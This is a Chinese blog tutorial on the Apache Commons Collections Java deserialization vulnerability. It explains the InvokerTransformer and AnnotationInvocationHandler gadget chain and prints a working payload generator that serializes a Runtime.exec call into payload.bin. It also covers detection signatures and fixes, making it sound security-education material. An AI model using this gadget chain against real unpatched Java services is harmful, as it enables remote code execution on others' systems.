Java 反序列化漏洞原理

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/u010651541/article/details/78369181

一、漏洞怎么生产的

如果一个应用接受反序列化数据,并且没有对反序列化的对象做限制,就可能导致代码执行。(使用了有安全缺陷的Apache Commons Collections jar包)

    public static void main(String[] args) {

        /*under attacker's control*/
        File f =new File(args[0]);
        try {
            FileInputStream fis = new FileInputStream(f);
            ObjectInputStream ois=new ObjectInputStream(fis);
            /*where vul produce*/
            ois.readObject();
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }

    }

上面就是类似生产漏洞的代码,但是不是接受远程数据,接受远程导致RCE,原理类似。其实这个漏洞发现隐蔽性挺强的,大神发现也是太牛逼。

二、分析前基础知识

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,其中定义了TransformedMap结构,其定义了一个静态方法decorate(),可以完成Map结构的转换。

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

调用此方法可以完成Map的转换:

Map oldMap = new HashMap();
Map newMap = TransformedMap.decorate(oldMap,keyTransformer,valueTransformer);

TransformedMap实现了一个抽象类AbstractInputCheckedMapDecorator,当TransformedMap的setValue()方法被调用时,会调用抽闲父类AbstractInputCheckedMapDecorator的setValue()方法。

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
    private static final long serialVersionUID = 7023152376788900464L;
    protected final Transformer keyTransformer;
    protected final Transformer valueTransformer;

}

AbstractInputCheckedMapDecorator的setValue()方法:

    public Object setValue(Object value) {
        value = this.parent.checkSetValue(value);
        return this.entry.setValue(value);
    }

于是继续回到TransformedMap的checkSetValue方法,从而调用了transform()方法,并且,transform()方法的参数就是setValue()方法的参数。

    protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

在Apache的commons-collections.jar中,默认实现了ConstantTransformer,InvokerTransformer,ChainedTransformer几个实现,我们重点关注InvokerTransformer类,查看其transform()方法:


    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var4) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
            }
        }
    }

可以看到,上面的transform(),通过java 反射调用了input的iMethodName方法。并且,iMethodName是可控的。这样,结果就是,只要transform()方法被调用,就导致了代码执行。

public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        } else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) {
            throw new IllegalArgumentException("The parameter types must match the arguments");
        } else if (paramTypes != null && paramTypes.length != 0) {
            paramTypes = (Class[])((Class[])paramTypes.clone());
            args = (Object[])((Object[])args.clone());
            return new InvokerTransformer(methodName, paramTypes, args);
        } else {
            return new InvokerTransformer(methodName);
        }
    }

    ....

 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

做个简单实验:

    public static void main(String[]args) throws  Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"calc.exe"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map oldMap = new HashMap();
        oldMap.put("test","test");
        Map newMap = TransformedMap.decorate(oldMap,null,chainedTransformer);
        Map.Entry entry = (Map.Entry) newMap.entrySet().iterator().next();
        entry.setValue("hello");

    }

计算器被弹出:

三、如何利用

上面我们可以看到,通过setValue()方法可以导致代码执行。但是,如何在“宿主程序”中导致代码执行,换句话说,总不能假定用户在反序列化恰好调用了setValue()。大神的路子还是野,发现了AnnotationInvocationHandler这个类,这个类冲重写了readObject()方法。

在java反序列化时,如果反序列化的对象重写了readObject()方法,则重写的方法会被调用。

AnnotationInvocationHandler类刚好重写了readerObject()方法,并且,在readObject()方法中还恰好调用了setValue()方法。

         private void readObject(java.io.ObjectInputStream s)
             throws java.io.IOException, ClassNotFoundException {
             s.defaultReadObject();


             // Check to make sure that types have not evolved incompatibly

             AnnotationType annotationType = null;
             try {
                 annotationType = AnnotationType.getInstance(type);
             } catch(IllegalArgumentException e) {
                 // Class is no longer an annotation type; all bets are off
                 return;
             }

             Map<String, Class<?>> memberTypes = annotationType.memberTypes();

             for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
                 String name = memberValue.getKey();
                 Class<?> memberType = memberTypes.get(name);
                 if (memberType != null) {  // i.e. member still exists
                     Object value = memberValue.getValue();
                     if (!(memberType.isInstance(value) ||
                           value instanceof ExceptionProxy)) {
                         memberValue.setValue(
                             new AnnotationTypeMismatchExceptionProxy(
                                 value.getClass() + "[" + value + "]").setMember(
                                     annotationType.members().get(name)));
                     }
                 }
             }
         }

更加重要的是,setValue()的对象还是可控的,通过AnnotationInvocationHandler的构造器就能传入。


      class AnnotationInvocationHandler implements InvocationHandler, Serializable {
          private final Class<? extends Annotation> type;
          private final Map<String, Object> memberValues;

          AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
              this.type = type;
              this.memberValues = memberValues;
          }
   }   

这样,一套完整的触发链就构造完成了,我们只需要构造一AnnotationInvocationHandler实例,然后将其序列化,就得到了恶意对象。然后,有漏洞的程序没有处理好反序列化过程,通过上面精心构造的反序列化对象,就导致了RCE。

public static void main(String[]args)throws  Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"calc.exe"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class, outerMap);
        File f = new File("payload.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
        out.flush();
        out.close();
    }

四、挖掘

黑盒:从流量中发现序列化的痕迹,关键字:ac ed 00 05,rO0AB;

白盒:寻找readObject()字段。

五、影响及修复:

这里不包括使用了commons-collections.jar包java中间件,仅考虑受影响的commons-collections.jar包本身

影响:

public class LookAheadObjectInputStream extends ObjectInputStream {

    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    /**
     * Only deserialize instances of our expected Bicycle class
     */
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
            ClassNotFoundException {
        if (!desc.getName().equals(Bicycle.class.getName())) {
            throw new InvalidClassException(
                    "Unauthorized deserialization attempt",
                    desc.getName());
        }
        return super.resolveClass(desc);
    }
}

(2) 升级commons-collections.jar包至Commons-Collections3.2.2以上。

参考:

https://security.tencent.com/index.php/blog/msg/97

http://www.lovenull.com/view/181

https://www.owasp.org/index.php/Deserialization_Cheat_Sheet

没有更多推荐了,返回首页